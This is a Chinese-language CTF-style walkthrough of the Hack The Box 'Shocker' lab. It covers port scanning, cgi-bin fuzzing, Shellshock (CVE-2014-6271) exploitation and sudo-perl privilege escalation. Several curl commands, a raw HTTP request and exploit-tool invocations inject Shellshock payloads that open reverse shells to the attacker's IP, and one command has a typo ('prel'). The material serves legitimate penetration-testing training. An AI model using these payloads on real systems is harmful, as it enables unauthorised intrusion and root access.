OSCP系列-lab-Shocker

OSCP系列-lab-Shocker


环境:
内网 : kali 10.10.16.3
内网: 靶机 10.10.10.56

1.信息收集

nmap -n -v -sS -p- 10.10.10.56 --max-retries=0 -oN scan.txt -Pn

扫描开放端口

nmap -n -v -sC -sV -p 80,2222 10.10.10.56 -oN Shocker.txt -Pn

只有80 和 2222
在这里插入图片描述

80是个web服务
在这里插入图片描述

2222是ssh
先扫描下目录看看

dirsearch -u "http://10.10.10.56" -e*

一堆403 只有个cgi-bin目录 看起来有点用
在这里插入图片描述

wfuzz -c -z file,/usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://10.10.10.56/cgi-bin/FUZZ.sh
'''
wfuzz:fuzzing 工具,用于测试 Web 应用程序中的参数。
-c:将所有输出颜色化以便更容易区分。
-z file:指定字典文件,用于构建攻击载荷。在这里,使用 /usr/share/wfuzz/wordlist/general/common.txt 作为字典文件。
--hc 404:忽略 HTTP 响应码为 404 的请求。这个选项可用于减少噪音和提高效率。
http://10.10.10.56/cgi-bin/FUZZ.sh:指定 fuzzing 的 URL 地址。其中 FUZZ 是用于 fuzzing 的关键字,它将在字典中查找并替换它。
总之,这个命令使用字典文件中的常用单词来 fuzzing http://10.10.10.56/cgi-bin/FUZZ.sh 这个 URL 地址,同时忽略 HTTP 响应码为 404 的请求。
'''

简单来说就是这个目录我无法直接访问 但是可以试试直接去访问他这目录下的文件 然后枚举文件名 这么个操作
wfuzz参考链接:
https://blog.csdn.net/JBlock/article/details/88619117
发现一个user.sh 下载下来看看

 wget http://10.10.10.56/cgi-bin/user.sh

在这里插入图片描述
通过该脚本 判断可能存在 CVE-2014-6271 shellshock漏洞
漏洞解释:
https://www.cnblogs.com/Cl0ud/p/14248937.html
https://www.cvedetails.com/cve/CVE-2014-6271/

利用nmap扫描确认下:

nmap -sV -p 80 --script=http-shellshock.nse --script-args uri=/cgi-bin/user.sh,cmd=ls 10.10.10.56

在这里插入图片描述
确认存在该漏洞

利用方式:
下面方式都可以正常利用,在user-agent头也可以

curl -H 'Cookie: () { :;}; echo; /bin/bash -i >& /dev/tcp/10.10.16.3/8833 0>&1' http://10.10.10.56/cgi-bin/user.sh
curl -H 'Cookie: () { :;}; echo; /bin/sh -i >& /dev/tcp/10.10.16.3/8833 0>&1' http://10.10.10.56/cgi-bin/user.sh
curl -H 'Cookie: () { :;}; /bin/sh -i >& /dev/tcp/10.10.16.3/8833 0>&1' http://10.10.10.56/cgi-bin/user.sh
curl -H 'Cookie: () { :;};  /bin/bash -i >& /dev/tcp/10.10.16.3/8833 0>&1' http://10.10.10.56/cgi-bin/user.sh
curl -A '() { :; }; /bin/bash -i > /dev/tcp/10.10.16.3/8833 0<&1 2>&1' http://10.10.10.56/cgi-bin/user.sh
上面执行的时候需要本地监听端口


通过burpsuite提交请求也可以
GET /cgi-bin/user.sh HTTP/1.1
Host: 10.10.10.56
User-Agent: () { :;};  /bin/bash -i >& /dev/tcp/10.10.16.3/8833 0>&1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close

上面执行的时候需要本地监听端口

直接通过exploit拿shell
https://www.exploit-db.com/exploits/34900
python 34900.py  payload=reverse rhost=10.10.10.56 lhost=10.10.16.3lport=9966 pages=/cgi-bin/user.sh

第二种自定义的exploit
https://github.com/nullarmor/hackthebox-exploits/blob/master/shocker/exploit.py
python nullarmor-exploit.py --rhost 10.10.10.56 --lhost 10.10.16.3--lport 8899

第三种自定义的exploit
https://github.com/nccgroup/shocker
python shocker.py -H 10.10.10.56 --command "/bin/bash -i > /dev/tcp/10.10.16.3/8833 0<&1 2>&1" -c /cgi-bin/user.sh
上面执行的时候需要本地监听端口

其实对于这个漏洞最开始 完全不知道 属于做了这个靶机才知道这个漏洞
-_-
具体理解还是需要多看看解析
在这里插入图片描述
成功getshell
在这里插入图片描述
然后提权 先看看能够提权的方式
sudo 或者 找个exp
sudo -l 看下
可以以root权限来执行perl,通过perl执行任何命令. perl是一门编程语言
利用这个语言启动bash 因为这个语言 又是有sudo权限 所以就可以提权

在这里插入图片描述

sudo prel -e "exec '/bin/bash'"
# 可以理解成 php -m "<?php system('ls');?>" 类似这样的操作

提权获取到flag

在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值